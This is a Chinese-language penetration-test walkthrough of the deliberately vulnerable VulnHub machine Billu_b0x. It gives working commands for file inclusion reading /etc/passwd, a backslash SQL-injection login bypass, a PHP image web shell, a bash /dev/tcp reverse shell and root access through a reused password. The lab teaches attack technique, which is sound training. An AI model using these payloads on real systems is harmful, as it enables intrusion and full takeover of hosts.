【Billu_bOx1靶机的完整详细渗透测试附靶机下载链接】

本文记录了Billu_bOx1靶机的完整详细渗透测试过程,包括信息收集、漏洞发现、获取shell以及提权至root的方法。

靶机下载链接:https://download.vulnhub.com/billu/Billu_b0x.zip

靶机名称:Billu_bOx1

测试时间:2026/3/27

注意打开靶机前要把靶机设置为NAT模式

如果遇到查找不到靶机的情况,参考这篇文章的开头部分:
https://blog.csdn.net/uhszjhshdjsjsj/article/details/159168830?spm=1001.2014.3001.5501

一.概述

  • 查询攻击机(kali)IP:
bash 复制代码
ifconfig

得到攻击机(kali)IP:192.168.253.166

  • 查询靶机IP:
bash 复制代码
nmap -sn 192.168.253.00/24或netdiscover -r 192.168.253.00/24

得到靶机IP:192.168.253.178

二. 信息收集

    1. 扫描全部端口
bash 复制代码
nmap -A -p 1-64000 192.168.253.178

得到开放端口有

22:用于ssh登录

80:网页默认的 HTTP 端口

    1. Web网页目录扫描:
bash 复制代码
dirb http://192.168.253.178     或者

dirsearch -u http://192.168.253.178 -x 404,403,400

有许多目录,待会我们再仔细看看

    1. web指纹识别
bash 复制代码
 whatweb  http://192.168.253.178
    1. 打开网页收集信息
      直接访问192.168.253.178

      一个登录页面,add页面则是上传文件页面

      试了一下上传不成功,可能要登录才能成功
      访问test目录页面

      他说file参数为空,所以我们尝试文件包含,
      访问http://192.168.253.178/test?file=../../../../../../../../etc/passwd没回显,改成POST方法才行,我用burp改成POST成功回显

      或者用curl --data "file=../../../../../../../../../../etc/passwd" 192.168.253.178/test也可以回显

不过没得到什么信息,我们看看初始页面源代码

bash 复制代码
curl --data "file=index.php" 192.168.253.178/test

对源码审计发现登录页面过滤了单引号,既然知道源码我们就去进行sql注入,输入用户名:or 1=1 #,密码:\(因为\'会被转义成字符,所以根据源码sql语句select * from auth where pass='\' and uname='or 1=1,其中\'被转义为一个字符,所以分为pass='\' and uname='部分和or 1=1部分,所以恒真)即可成功登录

这是登录后的页面,我们尝试上传图片马,创建一个.jpg文件然后编辑内容

bash 复制代码
GIF89a
<?php system($_POST['cmd']); ?>

注意要post方法才行,我最开始用GET是不行的,然后点击ADD USERS上传就行了,用burp抓包,把底下的load=show&continue=continue改成load=/uploaded_images/8.jpg&continue=continue&cmd=ls即可执行命令

那我们就把cmd命令换成反弹shell命令即可(记得进行url编码)

先在终端监听

bash 复制代码
nc -lnvp 1234

然后更改cmd命令

bash 复制代码
bash -c "bash -i >& /dev/tcp/192.168.253.166/1234 0>&1"

监听成功

三. 漏洞发现与利用

Web漏洞

漏洞类型:文件包含漏洞;sql注入漏洞;文件上传漏洞

利用过程:

  1. 文件包含查看初始页面源码,知道初始页面存在漏洞
  2. 根据源码进行sql注入成功登录
  3. 上传图片马成功执行命令,进而执行反弹shell命令

四. 权限提升

获得一个交互性更好的bash

bash 复制代码
python -c 'import pty; pty.spawn("/bin/bash")'

id或whoami查看自己身份

查看内核版本

bash 复制代码
uname -a

查看当前目录

bash 复制代码
ls

进入phpmy目录

bash 复制代码
cd phpmy

再查看目录下文件

bash 复制代码
ls

发现数据库文件config.inc.php,我们查看文件内容

bash 复制代码
cat config.inc.php

得到一个用户名和密码,尝试登录

bash 复制代码
su root

输入刚才得到的密码:roottoor

成功得到root权限

五.总结与反思

本次测试主要难点:

  1. 代码审计与 SQL 注入绕过:通过文件包含漏洞读取 index.php 源码,发现登录逻辑中过滤了单引号但未过滤反斜杠。需要理解 SQL 语句拼接方式,并构造特殊的用户名 or 1=1 # 和密码 \ 来绕过验证。

  2. 图片马上传与命令执行:登录后找到上传点,需要构造包含 PHP 代码的图片马,并利用 POST 参数执行系统命令。

  3. 配置文件中提取密码提权:获得低权限 shell 后,在 /phpmy/config.inc.php 中发现数据库密码,并尝试用该密码切换至 root 用户

学到的技巧:

  1. 文件包含读取源码:巩固了利用文件包含漏洞读取 PHP 源码的方法,为后续代码审计提供基础。
  2. SQL 注入绕过技巧:掌握了在过滤单引号的情况下,利用反斜杠转义和注释符进行 SQL 注入的方法。
  3. 图片马制作与利用:学会了制作包含 PHP 代码的图片马,并通过 POST 参数执行系统命令。
  4. 敏感配置文件信息收集:提高了对常见配置文件(如 config.inc.php)的敏感性,并懂得将数据库密码尝试用于系统用户提权。
  5. 密码复用提权:理解了在多个服务(如数据库、系统)中使用相同密码的风险,并利用该弱点完成提权。

该靶机漏洞总结:

本次渗透的入口是 80 端口 Web 服务中的文件包含漏洞,通过该漏洞读取 index.php 源码,发现登录页面的 SQL 注入点。利用 SQL 注入绕过登录后,在文件上传点上传图片马,并通过 POST 参数执行系统命令获得初始 shell。随后在 Web 目录下发现 phpmy 文件夹中的数据库配置文件 config.inc.php,提取出数据库密码(同时也是 root 密码),用 su root 成功提权。

相关推荐
谪星·阿凯2 小时前
Pikachu靶场完整通关秘籍
安全·网络安全
上海云盾-小余2 小时前
CC 攻击与 DDoS 的本质区别:从原理到防御方案全对比
网络·安全·web安全·ddos
运维行者_2 小时前
金融和电商行业如何使用网络监控保障业务稳定?
开发语言·网络·人工智能·安全·web安全·机器学习·运维开发
CDN3603 小时前
CDN 报错 403/502/504 怎么解决?源站与防护策略排查
运维·网络安全
一只鼠标猴3 小时前
甲方安全运营体系:合规实战融合与闭环建设
网络安全·安全架构·风险管控·安全运营体系·甲方安全·合规落地
小陈工3 小时前
Python Web开发入门(二):Flask vs Django,项目结构大比拼
前端·数据库·python·安全·web安全·django·flask
杨浦老苏3 小时前
开源OSINT调查平台Flowsint的安装
网络安全·docker·可视化·群晖·osint
还是做不到嘛\.3 小时前
Dvwa靶场-File Upload
web安全
上海云盾-小余4 小时前
黑产入侵链路拆解:从打点踩点到内网横移的完整防御思路
网络·安全·web安全